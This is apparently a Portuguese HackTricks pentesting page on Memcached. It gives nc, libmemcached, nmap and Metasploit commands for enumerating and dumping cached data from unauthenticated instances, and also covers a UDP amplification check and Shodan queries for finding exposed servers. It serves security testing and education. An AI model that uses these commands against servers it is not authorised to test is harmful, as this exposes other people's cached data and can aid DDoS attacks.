13 KiB
11211 - Pentesting Memcache
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Obtenha o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações do Protocolo
Do wikipedia:
Memcached (pronúncia: mem-cached, mem-cash-dee) é um sistema de cache de memória distribuído de propósito geral. É frequentemente usado para acelerar sites dinâmicos baseados em banco de dados, armazenando em cache dados e objetos na RAM para reduzir o número de vezes que uma fonte de dados externa (como um banco de dados ou API) precisa ser lida.
Embora o Memcached suporte SASL, a maioria das instâncias é exposta sem autenticação.
Porta padrão: 11211
PORT STATE SERVICE
11211/tcp open unknown
Enumeração
Manual
Para exfiltrar todas as informações salvas dentro de uma instância de memcache, você precisa:
- Encontrar slabs com itens ativos
- Obter os nomes das chaves dos slabs detectados anteriormente
- Exfiltrar os dados salvos ao obter os nomes das chaves
Lembre-se de que este serviço é apenas um cache, então os dados podem estar aparecendo e desaparecendo.
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
echo "stats slabs" | nc -vn -w 1 <IP> 11211 #Get slabs
echo "stats items" | nc -vn -w 1 <IP> 11211 #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211 #Get key names (the 0 is for unlimited output size)
echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
Manual2
sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
memcdump --servers=127.0.0.1 #Get all items
memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
Automático
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
Despejando Chaves do Memcache
No reino do memcache, um protocolo que auxilia na organização de dados por slabs, existem comandos específicos para inspecionar os dados armazenados, embora com limitações notáveis:
- As chaves só podem ser despejadas por classe de slab, agrupando chaves de tamanho de conteúdo semelhante.
- Existe um limite de uma página por classe de slab, equivalente a 1MB de dados.
- Este recurso é não oficial e pode ser descontinuado a qualquer momento, como discutido em fóruns da comunidade.
A limitação de apenas poder despejar 1MB de potencialmente gigabytes de dados é particularmente significativa. No entanto, essa funcionalidade ainda pode oferecer insights sobre padrões de uso de chaves, dependendo das necessidades específicas. Para aqueles menos interessados na mecânica, uma visita à seção de ferramentas revela utilitários para despejo abrangente. Alternativamente, o processo de usar telnet para interação direta com configurações do memcached é descrito abaixo.
Como Funciona
A organização da memória do Memcache é fundamental. Iniciar o memcache com a opção "-vv" revela as classes de slab que ele gera, conforme mostrado abaixo:
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
[...]
Para exibir todas as lajes atualmente existentes, o seguinte comando é usado:
stats slabs
Adicionar uma única chave ao memcached 1.4.13 ilustra como as classes de slab são populadas e gerenciadas. Por exemplo:
set mykey 0 60 1
1
STORED
Executar o comando "stats slabs" após a adição de chaves fornece estatísticas detalhadas sobre a utilização de slabs:
stats slabs
[...]
Este output revela os tipos de slab ativos, chunks utilizados e estatísticas operacionais, oferecendo insights sobre a eficiência das operações de leitura e escrita.
Outro comando útil, "stats items", fornece dados sobre evicções, restrições de memória e ciclos de vida dos itens:
stats items
[...]
Despejando Chaves
Para versões anteriores a 1.4.31, as chaves são despejadas por classe de slab usando:
stats cachedump <slab class> <number of items to dump>
Por exemplo, para fazer dump de uma chave na classe #1:
stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END
Este método itera sobre classes de slab, extraindo e opcionalmente despejando valores de chaves.
DESPEJANDO CHAVES MEMCACHE (VER 1.4.31+)
Com a versão do memcache 1.4.31 e acima, um novo método mais seguro para despejar chaves em um ambiente de produção é introduzido, utilizando o modo não-bloqueante conforme detalhado nas notas de lançamento. Esta abordagem gera uma saída extensa, portanto, é recomendado utilizar o comando 'nc' para eficiência. Exemplos incluem:
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
FERRAMENTAS DE DESPEJO
Tabela daqui.
Linguagens de Programação | Ferramentas | Funcionalidade | ||
---|---|---|---|---|
PHP | script simples | Imprime nomes de chaves. | ||
Perl | script simples | Imprime chaves e valores. | ||
Ruby | script simples | Imprime nomes de chaves. | ||
Perl | memdump | Ferramenta no módulo CPAN | Memcached-libmemcached | ached/) |
PHP | memcache.php | GUI de Monitoramento do Memcache que também permite despejar chaves | ||
libmemcached | peep | Congela seu processo memcached!!! Tenha cuidado ao usar isso em produção. Ainda assim, você pode contornar a limitação de 1MB e realmente despejar todas as chaves. |
Solução de Problemas
Limite de Dados de 1MB
Observe que antes do memcached 1.4, você não pode armazenar objetos maiores que 1MB devido ao tamanho máximo padrão da laje.
Nunca Defina um Tempo Limite > 30 Dias!
Se você tentar "definir" ou "adicionar" uma chave com um tempo limite maior do que o máximo permitido, você pode não obter o que espera, pois o memcached então trata o valor como um carimbo de data/hora Unix. Além disso, se o carimbo de data/hora estiver no passado, não fará nada. Seu comando falhará silenciosamente.
Portanto, se você deseja usar o tempo de vida máximo, especifique 2592000. Exemplo:
set my_key 0 2592000 1
1
Chaves Desaparecendo em Overflow
Apesar da documentação mencionar algo sobre o envolvimento de 64 bits em um valor que transborda usando "incr", faz com que o valor desapareça. É necessário criá-lo novamente usando "add"/"set".
Replicação
O memcached em si não suporta replicação. Se realmente precisar, é necessário usar soluções de terceiros:
- repcached: Replicação assíncrona multi-mestre (conjunto de patches memcached 1.2)
- Interface memcached do Couchbase: Use o CouchBase como substituto do memcached
- yrmcds: Armazenamento de valor de chave Mestre-Escravo compatível com memcached
- twemproxy (também conhecido como nutcracker): proxy com suporte a memcached
Folha de Dicas de Comandos
{% content-ref url="memcache-commands.md" %} memcache-commands.md {% endcontent-ref %}
Shodan
port:11211 "STAT pid"
"STAT pid"
Referências
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.